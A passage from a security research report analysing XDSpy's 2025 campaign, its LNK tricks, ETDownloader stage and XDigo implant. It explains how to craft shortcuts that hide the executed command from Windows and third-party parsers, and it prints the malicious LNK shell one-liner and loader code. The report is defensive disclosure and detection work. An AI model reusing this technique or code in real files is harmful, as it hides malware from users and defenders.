{
	"id": "25c58b5b-d6fa-4f67-849f-d7044d4f09a5",
	"created_at": "2026-04-06T00:08:33.825446Z",
	"updated_at": "2026-04-10T13:12:36.892166Z",
	"deleted_at": null,
	"sha1_hash": "61f1279ef3d940a7d4dd3b8944d4eacd249772a1",
	"title": "SadFuture: Mapping XDSpy latest evolution",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 6226005,
	"plain_text": "SadFuture: Mapping XDSpy latest evolution\r\nBy Cyber Threat Research Team\r\nPublished: 2025-06-16 · Archived: 2026-04-05 22:22:56 UTC\r\nPublished on 16 June, 2025 55min\r\nIdentifier: TRR250601.\r\nSummary\r\nThis report examines recent activities we attribute to the XDSpy threat actor, focusing on an ongoing campaign\r\ntargeting Eastern European and Russian governmental entities using the XDigo malware, dating back to March\r\n2025. Our investigation stemmed from Trend Micro’s ZDI-CAN-25373 vulnerability, leading us to a small cluster\r\nof LNK files used in a multi-stage infection chain.\r\nWe provide comprehensive malware analysis of XDigo, XDSpy’s Go implant, and its ties to previously known\r\nand unattributed XDSpy activities reported by third parties. We further provide in-depth technical analysis of an\r\nissue in LNK parsing we discovered being abused in this campaign.\r\nAdditionally, we identified ties and overlaps in XDSpy’s infrastructure used across different campaigns. This\r\ninfrastructure analysis enabled us to discover additional, more recent activity employing an alternative infection\r\nchain.\r\n📑\r\nBackground: our long shortcut to XDSpy\r\nZDI-CAN-25373\r\nSpecifications are made and ignored\r\nA unique LNK cluster\r\nInfection chain\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 1 of 25\n\nMalicious LNK file\r\nDecoy documents\r\nStage 1 – ETDownloader\r\nStage 2 candidate – XDigo\r\nAnti-analysis checks\r\nConfiguration\r\nData collection\r\nData staging\r\nCommands\r\nC2 communication\r\nOther XDigo versions\r\nInfrastructure\r\nHTTP headers\r\nRedirections to binary model files\r\nOverview of identified infrastructure\r\nTargets\r\nAttribution: it is all tied to XDSpy\r\nConclusion: how investigating a bug led us to XDSpy\r\nAppendix: indicators and detection rules\r\nIndicators of compromise (IOCs)\r\nYara rules\r\nAppendix: additional details about XDigo samples\r\nAnti-analysis checks\r\nInformation stealing capabilities\r\nBackground: our long shortcut to XDSpy\r\nXDSpy is a peculiar case in the persistent cyber espionage landscape, having operated largely undetected from 2011 until its\r\ndiscovery by ESET researchers in early 2020, possibly due to an advisory by the Belarussian CERT earlier that year. XDSpy\r\nprimarily targets government entities in Eastern Europe and shows no links to known APT groups, whether in code,\r\ninfrastructure or targeting.\r\nIn the years following ESET’s publication, XDSpy activities did not receive coverage from western cybersecurity companies\r\nor communities, with reports written almost exclusively by Russian and Chinese companies.\r\nThis article is a full public write-up of investigations we conducted starting from a small cluster of LNK files we could\r\nassociate to XDSpy in March. We first briefly introduced our findings during a lightning talk (“Windows LNK zero-day\r\nexploited by 11 state-sponsored groups… but we counted 12“) on May 22 at Botconf 2025, and parts of related files and\r\nactivities have been described by a Russian company on May 27 shortly after.\r\nZDI-CAN-25373\r\nIn March 18, Trend Micro reported that state-sponsored groups massively exploited a “zero-day vulnerablity” in Microsoft\r\nWindows LNKs to conduct cyber-espionage campaigns. The vulnerablity they dubbed as “ZDI-CAN-25373” allows hiding\r\nexecuted commands from Windows UI in specifically crafted shortcut files.\r\nOur own analysis indicates that ZDI-CAN-25373 is mostly designating a misleading display of information within\r\nMicrosoft Windows explorer UI. Indeed, if you put enough whitespace characters before the command line arguments of a\r\nWindows shortcut, those arguments will not appear in the LNK properties UI (see Fig. 1):\r\nfor Windows LNK files that are aimed at executing a command, the executable path (for instance\r\nC:\\Windows\\System32\\cmd.exe ) and command arguments (eg. /c \"notepad.exe\" ) are concatenated as a command\r\nline with a space in between ( C:\\Windows\\System32\\cmd.exe /c \"notepad.exe\" ), and displayed within an editable\r\ntext box named “Target” in the LNK file properties UI;\r\nwhen the properties UI is first opened, the cursor within the Target text box is moved at the end of the content.\r\nAdditionally, the graphical width of the text box allows at most 78 space characters ( ) to be displayed at once with\r\nthe default font;\r\nthe Target UI text box further limits the total stored text content to 259 characters (which matches the historical\r\nWindows MAX_PATH value, 260, minus a string termination NULL character);\r\nas a result, if there are enough whitespaces before the command line arguments (259 minus the characters length of\r\nthe executable path, but no less than 78), the latter will be padded right out of the Target text box (because of the total\r\ncontent limit), and only whitespaces will be shown to the user (because the Target text box can only display 78 spaces\r\ncharacters at once, and cursor within it is moved at the end).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 2 of 25\n\nFigure 1 – Overview of ZDI-CAN-25373\r\nWhitespace ASCII characters such as STX ( 0x02 ), TAB ( 0x09 ) and SPACE ( 0x20 ) can be used as padding before\r\ncommand line arguments. Those characters will not be interpreted by the Windows shell, and will actually be displayed as\r\nspaces in the LNK file properties UI (some other whitespace characters are displayed as squares or arrows in the text field).\r\nThey can further be mixed with additional characters that are invisible in the UI, such as LF ( 0x0A ), CR ( 0x0D ) or\r\nFS/GS/RS/US ( 0x1C – 0x1F ).\r\nWe also noticed that surprisingly, the Target text box in the Windows LNK file properties UI did not always behave the same\r\nway, depending on the Windows version (see Fig. 2). In Windows 10 22H2 and Windows 11 23H2 after the “2025-02\r\nCumulative Update” has been applied, if the characters count of the concatenated command line reaches 259, the “Target”\r\ntext box in the properties UI is greyed-out (not editable anymore), and the text box content is displayed from the beginning\r\nrather than the end. For other Windows versions that we tested (Windows 10 22H2 and Windows 11 23H2 before the “2025-\r\n02 Cumulative Update”, Windows Server 2019 and Windows 11 24H2 regardless of the patch), this variation does not exist.\r\nFigure 2 – target text box display variation in Windows 10 22H2 after 2025-02 Cumulative Update\r\nFinally, it is worth noticing that the described LNK file properties display issue can also be exploited by padding command\r\nline arguments with whitespaces as a suffix, provided the total length of the command line payload (executable path + a\r\nspace + command line arguments) is 259 characters long at most and ends with at least 78 spaces.\r\nSpecifications are made and ignored\r\nWhile investigating the described whitespaces padding issue in the LNK file properties UI, and particularly why the Target\r\nUI text box was designed to hold 259 characters at most, we made an interesting finding: Microsoft does not actually\r\nimplement its own MS-SHLLINK specification to parse LNK files1. This leads to confusing situations, where some LNK\r\nfiles are parsed differently per specification and in Windows, or even that some LNK files which should be invalid per\r\nspecification are actually valid to Microsoft Windows.\r\nIndeed, according to MS-SHLLINK (see title 2.4 “StringData” in specification, and Fig. 3), elementary strings within LNK\r\nfiles (such as those storing the LNK description, command line arguments or LNK icon location) are encoded in a common\r\nand simple way: 2 bytes ( CountCharacters field in Fig. 3) tell how many string characters there are, and corresponding\r\nstring bytes ( String , field in Fig. 3, either ASCII or Unicode-encoded as defined in LNK header) follow.\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 3 of 25\n\nFigure 3 – StringData fields and structure in LNK files according to the MS-SHLLINK 8.0 specification\r\nIn those circumstances, the maximum theoretical limit for the length of a string is the greatest integer value that can be\r\nencoded within 2 bytes ( CountCharacters is a 2-bytes unsigned integer, and the specification further states that strings\r\nmust not be NULL-terminated): 65 535 characters.\r\nBut looking at the actual implementation of LNK parsing in Microsoft Windows (for a fully patched Windows 11, see Fig.\r\n4), we could determine that Microsoft is not exactly implementing its own specification, as all strings of a LNK file except\r\nthe command line arguments2 are limited to 259 characters (260, but the last character is actually always replaced by a\r\nNULL character).\r\nFigure 4 – Actual Windows 11 implementation of StringData parsing in LNK files, as disassembled\r\nBecause of this deviation from the specification, one can specifically craft a LNK file which seemingly execute a certain\r\ncommand line or even be invalid according to third party parsers implementing the specification (see Fig. 5), while\r\nexecuting another command line in Windows (see Fig. 6).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 4 of 25\n\nFigure 5 – Third party LNK parser LnkParse3 1.5.1 showing a LNK file command line according to\r\nspecification. LnkParse3 has later been patched to parse as Windows does in version 1.5.2\r\nFigure 6 – Windows COM object-based parsing and properties UI of the same LNK file, showing that\r\nWindows parses the LNK file differently\r\nIn order to do so, one can for instance create a LNK file (see Fig. 7) pointing to cmd.exe with a description string field\r\n( NAME_STRING ) and command line arguments ( COMMAND_LINE_ARGUMENTS ). The NAME_STRING should be longer than 259\r\ncharacters and embed a valid StringData encoding of command line arguments at the end, starting at character offset 260 in\r\nNAME_STRING . The specification-valid COMMAND_LINE_ARGUMENTS StringData should then follow, be of arbitrary length and\r\ncould contain decoy data. Windows will use the StringData which is available at character offset 260 in NAME_STRING as\r\ncommand line arguments, regardless of the CountCharacters for NAME_STRING , while parsers which comply with the\r\nspecification should use the COMMAND_LINE_ARGUMENTS StringData which comes after (character offset 275).\r\nFigure 7 – Diagram of the strings of a specifically crafted LNK file which is parsed differently in Windows\r\nand according to the MS-SHLLINK specification\r\nWhen combined with the ZDI-CAN-25373 whitespaces padding issue in the LNK properties UI, this additional LNK\r\nparsing confusion can be leveraged to hide the command line that is executed from both the Windows UI and third party\r\nparsers (see Fig. 8, 9 and 10).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 5 of 25\n\nFigure 8 – Third party LNK parser LECmd 1.5.1.0 crashing over a specifically crafted LNK file\r\nFigure 9 – Third party LNK parser LnkParse3 1.5.1 showing an empty command line for the same specifically\r\ncrafted LNK file. LnkParse3 has later been patched to parse as Windows does in version 1.5.2\r\nFigure 10 – Windows COM object-based parsing and UI display of the same specifically crafted LNK file,\r\nshowing that Windows parses a LNK file differently, and hide command lines arguments in the UI\r\nThis specification versus implementation confusion issue (matching CWE-130, “Improper Handling of Length Parameter\r\nInconsistency”) was reported to Microsoft (and took into consideration) as part of our responsible disclosure practices in\r\nMarch. We consider that the MS-SHLLINK specification should at least be updated to detail that Windows implementations\r\nis limiting most StringData items to an arbitrary length.\r\nA unique LNK cluster\r\nHaving noticed the previously described LNK parsing confusion, we then decided to look for LNK files in the wild that\r\nmight abuse it as combined with ZDI-CAN-25373.\r\nTo do so, instead of looking for fixed whitespaces pattern, we leveraged Yara to parse LNK files content at certain offsets.\r\nThis not only allowed to reliably detect “variations” from specification, but also speeding up the Yara scanning, taking all\r\nvariants of whitespaces combination into account, and discarding any irrelevant whitespaces patterns (such as those\r\nappearing out of StringData content).\r\nOut of hundreds of LNK files implementing ZDI-CAN-25373 we identified in a publicly available file collection in mid-March using this search approach, we were able to isolate 9 LNK files that also implemented the previously described LNK\r\nparsing confusion. Those 9 LNK files had been submitted to an online multiscanner service on March 11 to 13, and were\r\ninitially distributed in ZIP archives. Those LNK and ZIP files were the starting point for our investigation.\r\nInfection chain\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 6 of 25\n\nOur previously described research identified 9 LNK files, from which we retrieved 8 ZIP archives parents, named as\r\ndokazatelstva.zip\r\n3\r\n or proyekt.zip\r\n4\r\n. The ZIP files exhibit a consistent structure, each containing:\r\na LNK file with name matching either the доказательства_\u003cnumber\u003e.lnk\r\n3\r\n or проект_\u003cnumber\u003e.lnk\r\n4\r\n pattern;\r\nanother ZIP archive disguised with an .ini extension (example name: wiw.ini ), containing:\r\na renamed, legitimate and signed Microsoft executable (originally name DeviceMetadataWizard.exe , SHA-256 1793dae4d05cc7be9575f14ae7a73ffe3b8279a811c0db40f56f0e2c1ee8dd61 ),\r\na Malicious stage 1 DLL to be sideloaded, as d3d9.dll ,\r\na decoy PDF document, renamed as test.cfg , whose opening will be triggered from the stage 1.\r\nZIP archive SHA-256 (name, date of archiving) Embedded LNK SHA-256 (name)\r\n4f1d5081adf8ceed3c3daaaa3804e5a4ac2e964ec90590e716bc8b34953083e8\r\n( dokazatelstva.zip , 2025-03-05 03:02)\r\n9c1acde0627da8b518b0522d6fed15cecf35b20ed8920628e9f580cfc3f450ed\r\n( доказательства_0007093.lnk )\r\nccf56b6b727da47c89f7a1a47cc04ab3a41d225c1298a74f16c939a5622b03f2\r\n( dokazatelstva.zip , 2025-03-05 03:49)\r\n536cd589cd685806b4348b9efa06843a90decae9f4135d1b11d8e74c7911f37d\r\n( доказательства_000224.lnk )\r\na28ee84bfbad9107ad39802e25c24ae0eaa00a870eca09039076a0360dcbd869\r\n( dokazatelstva.zip , 2025-03-05 03:50)\r\n0b705938e0063e73e03645e0c7a00f7c8d8533f1912eab5bf9ad7bc44d2cf9c3\r\n( доказательства_089741.lnk )\r\n678f79e78847a1274238740bb8cada62f9c41cab96df8537d87d38850502d0a2\r\n( dokazatelstva.zip , 2025-03-05 04:16)\r\ne62c3135fd708ee420cf767fa1654d8d66ff01f5160ddadf633e3cc5eaeaa926\r\n( доказательства_066551.lnk )\r\nb03d9dd170cd82890ee1a5503529b81ce8064893e31a88b87081a8c72610d810\r\n( dokazatelstva.zip , 2025-03-05 04:27)\r\ncfd0d56ca3d6c9ca232252570522c4b904be2807c461276979b1f8c551ccd4aa\r\n( доказательства_099543.lnk )\r\ne14fdb6c0b5b64e1ca318b7ad3ac9a4fd6dec60ef03089b87199306eba6e0ca6\r\n( dokazatelstva.zip , 2025-03-05 04:32)\r\n904db68a915b4bbd0b4b2d665bb1e2c51fa1b71b9c44ce45ccd4b4664f2bfd8e\r\n( доказательства_034464.lnk )\r\n81bb1cf3a805c1375bb3251eea9f1ad132ab1266295a75cda9ffe9278588ac7f\r\n( proyekt.zip , 2025-03-05 05:19)\r\n65209053f042e428b64f79ea8f570528beaa537038aa3aa50a0db6846ba8d2ec\r\n( проект_00252053.lnk )\r\n59b907430dde62fc7a0d1c33c38081b7dcf43777815d1abcf07e0c77f76f5894\r\n( proyekt.zip , 2025-03-05 23:50)\r\n5be9aba659baa089bcd253905deaf3f084f2b8f03701e90f2a46b36781165925\r\n( проект_08811127.lnk )\r\n? ( dokazatelstva.zip )\r\nd5c0fd26ba1504bde3222202f7a257efa9cdbc6949718495a7c33cd6510fce2a\r\n(?)\r\nWe could not reliably identify a distribution source for those ZIP archives at the time of the finding, and suspected they\r\ncould be sent as attachment or downloaded from URLs in malicious emails. A third party publication from May 27 since\r\nindicated some of those ZIP archives at least were distributed via spearphishing emails containing links to the archives.\r\nThe execution chain initiates with the user unzipping the archive and opening the embedded LNK file, which triggers the\r\nlegitimate executable. This executable in turn sideloads the malicious d3d9.dll . The malicious DLL is a C# .NET-based\r\nstage 1 downloader which establishes persistence on the host, and that we named “ETDownloader”.\r\nAlthough we couldn’t fetch any next stage payload from stage 1, we were able to identify and analyze what we assess with\r\nlow to moderate confidence could be a subsequent payload in this infection chain (see Fig. 11), and with moderate to high\r\nconfidence to be a data collection implant that is leveraged by the same threat actor. This assessment is based on\r\ninfrastructure, victimology, timing, tactics and tooling correlation (see Attribution).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 7 of 25\n\nFigure 11 – Infection chain chart\r\nMalicious LNK file\r\nFilename проект_00252053.lnk\r\nCreation time 2024-04-28 05:10:23\r\nHash (SHA-256) 65209053f042e428b64f79ea8f570528beaa537038aa3aa50a0db6846ba8d2ec\r\nWhile the creation time in the LNK file is set to 2024-04-28 05:10:23, the file archiving time as stored in the parent ZIP\r\narchive is set to 2025-03-05 05:19 – the latter is more consistent with other time data that have been observed or collected\r\nfor the associated infection chain.\r\nThis specially-crafted LNK file is leveraging both ZDI-CAN-25373 and the LNK command line arguments parsing\r\nconfusion as we described in Background. It is unclear if the LNK command line arguments parsing confusion and UI\r\ndisplay issue have been willingly triggered by the LNK file creators, or if they are the result of an error in the LNK file\r\ngeneration process. Indeed, we demonstrated in Background that LNK files could be created to completely hide (or\r\nmasquerade) the command line arguments that are executed by Windows, while this sample did not properly mask them in\r\nsome available third party parsers, and did not fully mask them in Windows UI, at the time it was likely deployed (see Fig.\r\n12 and 13).\r\nFigure 12 – Malicious LNK parsing from third party LNK parser LnkParse3 1.5.0 (published version at the\r\ntime of LNK file archiving) improperly showing the command line arguments\r\nFigure 13 – Malicious LNK parsing from third party LNK parser LECmd 1.5.1.0 and Windows properties UI\r\nHowever, this level of LNK parsing confusion may still be sufficient to prevent detection or thwart defense mechanisms: as\r\ncan be seen (Fig. 12), some third party parsers do (or did) not report command line arguments as they would be executed by\r\nWindows in their corresponding “command line arguments” results.\r\nThe LNK file triggers the execution of an intricate Windows shell command one-liner, which further unpacks the .ini file\r\n(intially found in the parent ZIP). It then indirectly triggers the execution of a sideloaded stage 1 (ETDownloader) through\r\nan intermediary compiled JavaScript .NET script. It should be noted that this LNK file expects to be executed from a folder\r\nwhich also contains the other .ini file of the parent ZIP (this will be the case if the parent ZIP archive is opened through\r\nWindows explorer, and the LNK file in it executed directly).\r\nIn details, the one-liner Windows shell command in the LNK file:\r\nstores a JavaScript .NET code snippet ( Main ) as %TEMP%\\B5DUC80ULT7L.a ;\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 8 of 25\n\ncompiles the latter to an assembly named %TEMP%\\unzip.exe , using the legitimate system compiler jsc.exe and\r\ncloning metadata from a system library ( System.IO.Compression.FileSystem.dll );\r\nruns the previously created %TEMP%\\unzip.exe , which in turn will:\r\nextract the parent ZIP ( proyekt.zip ) in a created %USERPROFILE%\\L80OWGTGHWBX folder,\r\nextract wiw.ini (which is another ZIP archive in the parent ZIP), which contains YEZYZO107H.exe (copy of\r\nthe legitimate DeviceMetadataWizard.exe ), d3d9.dll (the stage 1) and test.cg (a decoy document), to\r\nthe same L80OWGTGHWBX folder,\r\nrename itself as unzip.exe_ ;\r\nruns the previously extracted %USERPROFILE%\\L80OWGTGHWBX\\YEZYZO107H.exe , which will finally trigger the\r\nsideloading of d3d9.dll , the stage 1 (ETDownloader, see later).\r\nBelow is a prettified adptation of the Windows shell one-liner in the LNK file, for readability:\r\nset PATH=%windir%\\system32;%PATH% \u0026 (\r\nfor /R \"%USERPROFILE%\" %f in (proyekt.zip) do (\r\n @IF EXIST %f (\r\n chcp 65001 | echo | set /p=\"import System;\r\n import System.IO;\r\n import System.IO.Compression;\r\n import System.Text;\r\n import System.Diagnostics;\r\n function Main(){\r\n var args:String[]=System.Environment.GetCommandLineArgs();\r\n Directory.CreateDirectory(args[2]);\r\n System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);\r\n System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (\r\n Convert.ToChar(119) + Convert.ToChar(105) +\r\n Convert.ToChar(119) + Convert.ToChar(46) +\r\n Convert.ToChar(105) + Convert.ToChar(110) +\r\n Convert.ToChar(105)\r\n ), args[2]);\r\n Process.Start(\"\"cmd.exe\"\", \"\"/C move \"\" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"\" \"\" +\r\n }\r\n Main();\" \u003e %TEMP%\\B5DUC80ULT7L.a\r\n for /f %j in ('dir /b /s /a:-d /o:-n \"\"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"\"') do @set \"_jsc=%j\"\r\n for /L %i in (1,1,3) do (\r\n @if exist \"%USERPROFILE%\\L80OWGTGHWBX\\YEZYZO107H.exe\" (\r\n start \"\" /MIN \"%USERPROFILE%\\L80OWGTGHWBX\\YEZYZO107H.exe\"\r\n exit\r\n ) else (\r\n @if exist %TEMP%\\unzip.exe (\r\n %TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\L80OWGTGHWBX\"\r\n ) else (\r\n @if not exist %TEMP%\\unzip.exe_ (\r\n @if not exist %TEMP%\\unzip.exe (\r\n C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:S\r\n )\r\n )\r\n )\r\n )\r\n )\r\n )\r\n))\r\nDecoy documents\r\nThe decoy documents ( test.cfg ) that are embedded in the ZIP archives are later opened by the stage 1 (ETDownloader,\r\nsee later).\r\nWe observed two decoy documents used in this campaign. The first (see Fig. 14) is a scan of an old document addressed to\r\nthe President of the Presidium in Kazahstan’s Almaty City Bar Association (ACBA). The letter addresses procedural\r\nviolations and transparency issues within Kazakhstan’s largest bar association, which serves as the country’s main provider\r\nof legal aid and maintains international cooperation with organizations including the OSCE, American Bar Association, and\r\nEuropean Union Delegation.\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 9 of 25\n\nFigure 14 – Decoy letter to President of the Presidium of the Almaty City Bar Association Karchegenov K.K.\r\nThe second decoy document (see Fig. 15) consists of a floor map with network and electricity installation plans generated by\r\na Russian architectural design firm located in Moscow, specializing in building infrastructure projects.\r\nFigure 15 – Decoy document showing an electrical floorplan\r\nThese decoy documents indicate that the ZIP archives were targeting Russian-speaking recipients.\r\nStage 1 – ETDownloader\r\nFilename d3d9.dll\r\nCompilation time 2025-03-05 13:18:57\r\nHash (SHA-256) 792c5a2628ec1be86e38b0a73a44c1a9247572453555e7996bb9d0a58e37b62b\r\nThis first stage downloader is an obfuscated C# .NET DLL which is sideloaded by the legitimate signed Microsoft\r\nexecutable DeviceMetadataWizard.exe (SHA-256\r\n1793dae4d05cc7be9575f14ae7a73ffe3b8279a811c0db40f56f0e2c1ee8dd61 ).\r\nUpon first execution it launches multiple threads and asynchronous tasks to establish persistence as well as attempts to\r\ndownload and execute an additional payload (stage 2). In detail, the implant:\r\nmoves the decoy file test.cfg to C:\\Users\\\u003cuser\u003e\\Documents as a proyekt.pdf PDF file, and opens the latter\r\nwith the default reader using the explorer \u003cPDF name\u003e command;\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 10 of 25\n\ndownloads the next stage payload from a hardcoded URL ( hxxps://vashazagruzka365[.]com/zagruzka/?\r\npti=hlicbz\u0026yay=G9CUTb3S8U4XHr8 ), using a specified User-Agent string ( Mozilla/5.0 (Windows NT 10.0; Win64;\r\nx64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 ),\r\nthe downloaded payload is decoded with base64, then using XOR (key 11PDL19R6LMRJPCQ ), then base64\r\nagain, and finally saved under C:\\Users\\\u003cuser\u003e\\AppData\\Roaming\\2A5S2FQJSU9B\\ytoqovbxx.exe ,\r\nthe downloaded payload is executed just after;\r\nmoves itself (both the legitimate Microsoft executable as YEZYZO107H.exe , and the sideloaded d3d9.dll ) to the\r\nsame folder than the downloaded payload location;\r\ncreates persistence by writing a startapp.bat Batch file in C:\\Users\\\r\n\u003cuser\u003e\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup , containing Start \"\"\r\n\"%AppData%\\2A5S2FQJSU9B\\YEZYZO107H.exe\" /startup .\r\nAny subsequent executions of ETDownloader from the persistence Batch file (with the /startup command line argument)\r\nresults in a thread created to launch the downloaded stage 2 payload from C:\\Users\\\r\n\u003cuser\u003e\\AppData\\Roaming\\2A5S2FQJSU9B\\ytoqovbxx.exe .\r\nThe assembly is initially obfuscated with ConfuserEx2 (or a variant thereof), using rather lightweight protection settings\r\n(assembly symbols obfuscation, anti-debugging, strings encryption), plus an additional (likely custom) simple XOR-based\r\nstrings encoding layer. Once deobfuscated, the stage 1 comprises a main logic module (including custom string de-XORing\r\nfunctions) whose workflow has been described above, plus a utility module to decode LZMA and strings as generated by\r\nConfuserEx2.\r\n// Main module part, as obfuscated initially (note that it uses UTF right to left override characters in methods names, w\r\nstring str4 = MyClass.awxhhLKjPEfkTfAswdlIaCokNbZSb(MyClass.VHltCXMpeeEuKgTwWaEpzDIXBovE);\r\nstring sourceFileName1 = directoryName + \\u003CModule\\u003E.\\u200C[...](1545446000) + str4;\r\nstring str5 = path1 + \\u003CModule\\u003E.\\u206F[...](540785267) + str4;\r\nif (!System.IO.File.Exists(str5))\r\n// After deobfuscation:\r\nstring str4 = \"YEZYZO107H.exe\";\r\nstring sourceFileName1 = directoryName + \"\\\\\" + str4;\r\nstring str5 = path1 + \"\\\\\" + str4;\r\nif (!System.IO.File.Exists(str5))\r\nETDownloader can be dynamically or statically deobfuscated. In the dynamic analysis approach, it can be decrypted using\r\nthe specialized ConfuserEx2 Python toolchain. This leverages .NET reflection to call ConfuserEx2’s internal decryption\r\nfunctions, effectively restoring the original strings by bypassing the obfuscator’s verification checks. Alternatively, due to\r\nlikely implementation flaws in the threat actor’s customized ConfuserEx2 deployment, the assemblies we analyzed retain\r\nconfiguration string remnants. These residual strings are encoded with custom XOR encryption, which can be reversed with\r\nthe embedded XOR key.\r\nAs a last technical note, given ETDownloader operates through DLL sideloading, it must exports functions that are imported\r\nby the legitimate calling executable. Surprisingly, exports in a .NET assembly for “native” binaries are not properly shown\r\nby usual .NET decompilers (both JetBrains dotPeek and dnSpy failed to identify exported functions and their corresponding\r\nnames). In order to spot them and retrieve ETDownloader entry point:\r\ndirectly disassemble the .NET assembly using Microsoft’s ildasm tool (available in Visual Studio Developer\r\nPowerShell): ildasm.exe /out:d3d9.il ./d3d9.dll ;\r\nin the resulting .NET intermediary language output, search for the .export directives, which identify both the\r\nexport name and the corresponding implementation function in .NET.\r\nNote that in the case of our ETDownloader sample, all exports implementation functions are dummy delegates that redirect\r\nto the entry point.\r\n// IL output from ildasm.exe\r\n.method private hidebysig static void modopt([mscorlib]System.Runtime.CompilerServices.CallConvCdecl) poVSvbzJFfvERnzJyOiO\r\n .vtentry 1 : 1\r\n .export [1] as Direct3DCreate9On12\r\n .maxstack 8\r\n IL_0000: call void ExportTests.MyClass::kLXNUEUbxQOlykZLtQaeVpEIDDaI()\r\n IL_0005: ret\r\n}\r\n// Corresponding C# .NET code in decompiled main module\r\nprivate static void poVSvbzJFfvERnzJyOiOikmVNqZR() =\u003e MyClass.kLXNUEUbxQOlykZLtQaeVpEIDDaI();\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 11 of 25\n\n// Same C# .NET code, renamed after exports retrieval (and deobfuscation)\r\nprivate static void export_Direct3DCreate9On12() =\u003e MyClass.EntryPoint();\r\nWe could retrieve 16 ETDownloader samples in March, including those that were embedded in the ZIP archives from the\r\npreviously described infection chain:\r\nZIP archive parent SHA-256 ETDownloader SHA-256 (name, compilation time)\r\n4f1d5081adf8ceed3c3daaaa3804e5a4ac2e964ec90590e716bc8b34953083e8\r\n95060ba948948eea9bfc801731960b97d3efceb300622630afcbccfe12c21ccd\r\n( d3d9.dll , 2025-03-05 11:02)\r\nccf56b6b727da47c89f7a1a47cc04ab3a41d225c1298a74f16c939a5622b03f2\r\nf3f2c3c5836ce6e3cb92aa6dfc0f133e15a7fd169a3d1049b7d82e49d1577273\r\n( d3d9.dll , 2025-03-05 11:49)\r\na28ee84bfbad9107ad39802e25c24ae0eaa00a870eca09039076a0360dcbd869\r\n5e34d754b0a938de7e512614f8fc6d7cd6c704f76b05044e07c97bd44bd5d591\r\n( d3d9.dll , 2025-03-05 11:50)\r\n678f79e78847a1274238740bb8cada62f9c41cab96df8537d87d38850502d0a2\r\n7e04c69685d8612f7fc3512ad9ad1802a28428f75874b8717c0f04e939a3324d\r\n( d3d9.dll , 2025-03-05 12:16)\r\nb03d9dd170cd82890ee1a5503529b81ce8064893e31a88b87081a8c72610d810\r\n448245612a5388074e32251a0b44769170c586cc4c2ae06cd953c7a461ce34a6\r\n( d3d9.dll , 2025-03-05 12:27)\r\ne14fdb6c0b5b64e1ca318b7ad3ac9a4fd6dec60ef03089b87199306eba6e0ca6\r\n68347b0c6494a56dd0f6492c6c56158b46bcaf44878a8741f6e63ff2946cf30f\r\n( d3d9.dll , 2025-03-05 12:31)\r\n81bb1cf3a805c1375bb3251eea9f1ad132ab1266295a75cda9ffe9278588ac7f\r\n792c5a2628ec1be86e38b0a73a44c1a9247572453555e7996bb9d0a58e37b62b\r\n( d3d9.dll , 2025-03-05 13:18)\r\n59b907430dde62fc7a0d1c33c38081b7dcf43777815d1abcf07e0c77f76f5894\r\n15277bfc6b784c373d535fbda9396bd16c15d990943423167602fb81b26d0f07\r\n( d3d9.dll , 2025-03-06 07:50)\r\nN/A\r\nfb1df37336d79861b13d5f4ba875393c7e91b12cd73302cb414c1d084104a6a8\r\n( ExportTests.dll , 2025-03-05 11:02)\r\nN/A\r\n7c0597aa77031a100db0941921b60f08079bec7f710b6e736a15012db6465c39\r\n( ExportTests.dll , 2025-03-05 11:49)\r\nN/A\r\n056cd36bf4bc6efc119a64f2ffedd76f3dcb75daa95c22c59d91664dfcaa6fd5\r\n( ExportTests.dll , 2025-03-05 11:50)\r\nN/A\r\n5248b0e4af1914762cc1c436a898d12d5f74980b816155f4191dc9692402668f\r\n( ExportTests.dll , 2025-03-05 12:16)\r\nN/A\r\nc8899a6e8d3dd11c75217253f8dd78f5029c01e886880cafce0388d5fd6aa54b\r\n( ExportTests.dll , 2025-03-05 12:27)\r\nN/A\r\n031e05d15afabef6010179d2acd09925395167fd442b64b6aa8ffd81bd5e268e\r\n( ExportTests.dll , 2025-03-05 12:31)\r\nN/A\r\n747dfd7f0ca893034136fd286c737b55edc9276b5794a02c6dd3771da0342729\r\n( ExportTests.dll , 2025-03-05 13:18)\r\nN/A\r\n7a2af22372a4fd3ba89d36fdee38967cb77f43e14255d0b5ad80da863b146625\r\n( ExportTests.dll , 2025-03-06 07:50)\r\nStage 2 candidate – XDigo\r\nAs introduced in the “Infection chain” title, we could not directly retrieve a stage 2 payload as downloaded from the stage 1\r\n(ETDownloader). However, pivoting on payload distribution domains (stagers) of ETDownloader samples, we identified\r\nadditional related domains (see “Infrastructure”).\r\nWe could then find a Go implant that was communicating with one of those domains ( quan-miami[.]com ), as well as\r\ninformation on the associated execution context (a process memory dump). The implant was submitted to an online\r\nmultiscanner service in early February, and has been deployed against an organization in Belarus.\r\nAnalyzing the identified sample, we determined that a similar and presumably older version of this malware has been\r\npreviously documented by Kaspersky (in Russian) in October 2023. We believe this implant is usually referenced as\r\n“XDigo” in Eastern European threat 